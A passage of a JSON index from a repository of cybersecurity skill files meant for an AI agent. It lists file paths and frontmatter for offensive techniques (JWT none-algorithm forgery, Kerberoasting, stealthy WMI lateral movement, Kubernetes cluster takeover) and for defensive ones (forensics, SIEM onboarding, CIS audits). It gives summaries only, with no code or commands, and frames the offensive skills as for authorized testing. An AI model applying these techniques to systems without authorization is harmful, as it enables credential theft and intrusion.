/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ip-reputation-analysis-with-shodan%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":334,"sizeBytes":1157},{"name":"SKILL.md","path":"skills/performing-ip-reputation-analysis-with-shodan/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ip-reputation-analysis-with-shodan/SKILL.md","title":"performing-ip-reputation-analysis-with-shodan","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ip-reputation-analysis-with-shodan%2FSKILL.md -->","frontmatter":{"name":"performing-ip-reputation-analysis-with-shodan","description":"Analyze IP address reputation using the Shodan API to identify open ports, running services, known vulnerabilities, and hosting context for threat intelligence enrichment and incident triage.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["shodan","ip-reputation","enrichment","threat-intelligence","reconnaissance","vulnerability","api","internet-scanning"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1595"]},"isInternal":false,"tokens":2765,"sizeBytes":11814},{"name":"api-reference.md","path":"skills/performing-jwt-none-algorithm-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-jwt-none-algorithm-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-jwt-none-algorithm-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":408,"sizeBytes":1710},{"name":"SKILL.md","path":"skills/performing-jwt-none-algorithm-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-jwt-none-algorithm-attack/SKILL.md","title":"performing-jwt-none-algorithm-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-jwt-none-algorithm-attack%2FSKILL.md -->","frontmatter":{"name":"performing-jwt-none-algorithm-attack","description":"Execute and test the JWT none algorithm attack, crafting tokens with the alg header set to none using PyJWT and an intercepting proxy (Burp Suite/mitmproxy) to bypass signature verification and forge arbitrary claims. Use during authorized penetration tests or security assessments of applications that use JWT for authentication or authorization, to validate that the server rejects unsigned tokens.","domain":"cybersecurity","subdomain":"api-security","tags":["jwt","none-algorithm","authentication-bypass","token-manipulation","signature-bypass","penetration-testing","owasp","web-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1027","T1070"]},"isInternal":false,"tokens":2977,"sizeBytes":12428},{"name":"template.md","path":"skills/performing-kerberoasting-attack/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kerberoasting-attack/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":333,"sizeBytes":1163},{"name":"api-reference.md","path":"skills/performing-kerberoasting-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kerberoasting-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":416,"sizeBytes":1659},{"name":"standards.md","path":"skills/performing-kerberoasting-attack/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kerberoasting-attack/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":666,"sizeBytes":2698},{"name":"workflows.md","path":"skills/performing-kerberoasting-attack/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kerberoasting-attack/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1329,"sizeBytes":4560},{"name":"SKILL.md","path":"skills/performing-kerberoasting-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kerberoasting-attack/SKILL.md","title":"performing-kerberoasting-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2FSKILL.md -->","frontmatter":{"name":"performing-kerberoasting-attack","description":"Perform Kerberoasting, a post-exploitation technique that enumerates Active Directory service accounts with Service Principal Names (SPNs), requests their Kerberos TGS tickets, and cracks the NTLM-encrypted tickets offline to recover service account credentials. Use during authorized red team engagements or penetration tests to assess AD privilege escalation and credential access risk from weak service account passwords.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","adversary-simulation","mitre-attack","exploitation","post-exploitation","kerberoasting","active-directory","credential-access"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1003"]},"isInternal":false,"tokens":1044,"sizeBytes":4482},{"name":"template.md","path":"skills/performing-kubernetes-cis-benchmark-with-kube-bench/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-cis-benchmark-with-kube-bench/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":263,"sizeBytes":1014},{"name":"api-reference.md","path":"skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":378,"sizeBytes":1694},{"name":"standards.md","path":"skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":462,"sizeBytes":1482},{"name":"workflows.md","path":"skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":537,"sizeBytes":2036},{"name":"SKILL.md","path":"skills/performing-kubernetes-cis-benchmark-with-kube-bench/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-cis-benchmark-with-kube-bench/SKILL.md","title":"performing-kubernetes-cis-benchmark-with-kube-bench","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2FSKILL.md -->","frontmatter":{"name":"performing-kubernetes-cis-benchmark-with-kube-bench","description":"Turns kube-bench output into a finished CIS Kubernetes Benchmark audit: interpreting PASS/FAIL/WARN per control, judging which failures are genuine on a managed cluster, writing remediation, and packaging evidence for SOC 2 or PCI DSS. Use when conducting a scheduled compliance audit, triaging kube-bench results, deciding which controls are not applicable on EKS, GKE, or AKS, or producing hardening evidence for an auditor. Keywords: CIS Kubernetes Benchmark, control plane, remediation, compliance evidence, SOC 2, PCI DSS, managed cluster exception. Do not use for installing and running the tool - use benchmarking-kubernetes-with-kube-bench.","domain":"cybersecurity","subdomain":"container-security","tags":["kube-bench","cis-benchmark","kubernetes","compliance","hardening","aquasecurity"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":1786,"sizeBytes":6848},{"name":"template.md","path":"skills/performing-kubernetes-etcd-security-assessment/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-etcd-security-assessment/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":137,"sizeBytes":566},{"name":"api-reference.md","path":"skills/performing-kubernetes-etcd-security-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-etcd-security-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":426,"sizeBytes":1855},{"name":"standards.md","path":"skills/performing-kubernetes-etcd-security-assessment/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-etcd-security-assessment/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":305,"sizeBytes":930},{"name":"workflows.md","path":"skills/performing-kubernetes-etcd-security-assessment/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-etcd-security-assessment/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":158,"sizeBytes":737},{"name":"SKILL.md","path":"skills/performing-kubernetes-etcd-security-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-etcd-security-assessment/SKILL.md","title":"performing-kubernetes-etcd-security-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-kubernetes-etcd-security-assessment","description":"Assesses the security posture of the etcd cluster backing Kubernetes: encryption at rest, TLS peer and client transport, access control, backup encryption, and network isolation. Use when auditing or hardening a control plane, reviewing whether Secrets are encrypted at rest, or protecting etcd backups, since etcd stores Secrets, RBAC policy, and ConfigMaps in plaintext by default. Keywords: etcd, EncryptionConfiguration, encryption at rest, peer TLS, snapshot, backup, control plane. Do not use for broad cluster-wide CIS checks - use performing-kubernetes-cis-benchmark-with-kube-bench.","domain":"cybersecurity","subdomain":"container-security","tags":["kubernetes","etcd","encryption","tls","security-assessment","backup","secrets","control-plane"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1573"]},"isInternal":false,"tokens":1952,"sizeBytes":7519},{"name":"template.md","path":"skills/performing-kubernetes-penetration-testing/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-penetration-testing/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":307,"sizeBytes":1163},{"name":"api-reference.md","path":"skills/performing-kubernetes-penetration-testing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-penetration-testing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":337,"sizeBytes":1495},{"name":"standards.md","path":"skills/performing-kubernetes-penetration-testing/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-penetration-testing/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":422,"sizeBytes":1616},{"name":"workflows.md","path":"skills/performing-kubernetes-penetration-testing/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-penetration-testing/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":552,"sizeBytes":2794},{"name":"SKILL.md","path":"skills/performing-kubernetes-penetration-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-penetration-testing/SKILL.md","title":"performing-kubernetes-penetration-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2FSKILL.md -->","frontmatter":{"name":"performing-kubernetes-penetration-testing","description":"Evaluates Kubernetes cluster security by actively simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter, Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise. Use for an authorized penetration test or hands-on validation that controls actually stop an attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance audit - use performing-kubernetes-cis-benchmark-with-kube-bench.","domain":"cybersecurity","subdomain":"container-security","tags":["containers","kubernetes","security","penetration-testing","offensive-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":2195,"sizeBytes":8780},{"name":"api-reference.md","path":"skills/performing-lateral-movement-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":488,"sizeBytes":1793},{"name":"SKILL.md","path":"skills/performing-lateral-movement-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-detection/SKILL.md","title":"performing-lateral-movement-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-detection%2FSKILL.md -->","frontmatter":{"name":"performing-lateral-movement-detection","description":"Detects lateral movement techniques including Pass-the-Hash, PsExec, WMI execution, RDP pivoting, and SMB-based spreading by correlating Windows Security/Sysmon event logs, network flow data (NetFlow/Zeek), and endpoint telemetry in a SIEM, mapped to MITRE ATT&CK Lateral Movement (TA0008) techniques with sample SPL detection queries. Use when a SOC team needs to detect attackers pivoting between internal systems after initial compromise, trace an attacker's movement path during an incident investigation, or build detection engineering rules for TA0008; not for detecting initial access or external attacks.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","lateral-movement","mitre-attack","pass-the-hash","psexec","wmi","rdp","smb","detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Execution Isolation","Restore Access","Application Protocol Command Analysis","Process Termination"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566","T1021"]},"isInternal":false,"tokens":3483,"sizeBytes":12597},{"name":"template.md","path":"skills/performing-lateral-movement-with-wmiexec/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":142,"sizeBytes":597},{"name":"api-reference.md","path":"skills/performing-lateral-movement-with-wmiexec/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":442,"sizeBytes":1612},{"name":"standards.md","path":"skills/performing-lateral-movement-with-wmiexec/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":237,"sizeBytes":858},{"name":"workflows.md","path":"skills/performing-lateral-movement-with-wmiexec/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":164,"sizeBytes":677},{"name":"SKILL.md","path":"skills/performing-lateral-movement-with-wmiexec/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-lateral-movement-with-wmiexec/SKILL.md","title":"performing-lateral-movement-with-wmiexec","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2FSKILL.md -->","frontmatter":{"name":"performing-lateral-movement-with-wmiexec","description":"Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","lateral-movement","wmiexec","wmi","post-exploitation","impacket","windows"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1021"]},"isInternal":false,"tokens":2294,"sizeBytes":8810},{"name":"template.md","path":"skills/performing-linux-log-forensics-investigation/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-linux-log-forensics-investigation/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":104,"sizeBytes":399},{"name":"api-reference.md","path":"skills/performing-linux-log-forensics-investigation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-linux-log-forensics-investigation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":401,"sizeBytes":1710},{"name":"standards.md","path":"skills/performing-linux-log-forensics-investigation/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-linux-log-forensics-investigation/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":192,"sizeBytes":660},{"name":"workflows.md","path":"skills/performing-linux-log-forensics-investigation/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-linux-log-forensics-investigation/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":145,"sizeBytes":634},{"name":"SKILL.md","path":"skills/performing-linux-log-forensics-investigation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-linux-log-forensics-investigation/SKILL.md","title":"performing-linux-log-forensics-investigation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2FSKILL.md -->","frontmatter":{"name":"performing-linux-log-forensics-investigation","description":"Perform forensic investigation of Linux system logs including syslog, auth.log, systemd journal (via journalctl), kern.log, auditd, and application logs to reconstruct user sessions, identify unauthorized access and privilege escalation, trace lateral movement, and establish event timelines. Use when investigating a suspected compromise of a Linux system and needing to analyze SSH, sudo, cron, or kernel-level activity from plain-text or systemd journal logs.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["linux-forensics","syslog","auth-log","systemd-journal","journalctl","linux-logs","ssh-forensics","cron","audit-log","log-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":2629,"sizeBytes":10728},{"name":"api-reference.md","path":"skills/performing-log-analysis-for-forensic-investigation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-log-analysis-for-forensic-investigation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-analysis-for-forensic-investigation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":481,"sizeBytes":1861},{"name":"SKILL.md","path":"skills/performing-log-analysis-for-forensic-investigation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-log-analysis-for-forensic-investigation/SKILL.md","title":"performing-log-analysis-for-forensic-investigation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-analysis-for-forensic-investigation%2FSKILL.md -->","frontmatter":{"name":"performing-log-analysis-for-forensic-investigation","description":"Collect, parse, and correlate system, application, and security logs to reconstruct events and establish timelines during forensic investigations.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","log-analysis","siem","event-correlation","timeline-analysis","evidence-collection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1685.002"]},"isInternal":false,"tokens":3327,"sizeBytes":12626},{"name":"template.md","path":"skills/performing-log-source-onboarding-in-siem/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-log-source-onboarding-in-siem/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":282,"sizeBytes":1120},{"name":"api-reference.md","path":"skills/performing-log-source-onboarding-in-siem/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-log-source-onboarding-in-siem/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":411,"sizeBytes":1593},{"name":"standards.md","path":"skills/performing-log-source-onboarding-in-siem/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-log-source-onboarding-in-siem/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":325,"sizeBytes":1253},{"name":"workflows.md","path":"skills/performing-log-source-onboarding-in-siem/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-log-source-onboarding-in-siem/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":403,"sizeBytes":1366},{"name":"SKILL.md","path":"skills/performing-log-source-onboarding-in-siem/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-log-source-onboarding-in-siem/SKILL.md","title":"performing-log-source-onboarding-in-siem","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2FSKILL.md -->","frontmatter":{"name":"performing-log-source-onboarding-in-siem","description":"Perform structured log source onboarding into SIEM platforms (Splunk, Elastic, Sentinel, QRadar, or similar) by prioritizing sources with a tiered value framework, configuring collectors, building parsers, normalizing fields to a common schema (e.g. CIM), and validating data quality. Use when planning or executing the integration of new log sources — such as Active Directory, firewalls, EDR, VPN, DNS, or cloud audit logs — into a SIEM for security monitoring and 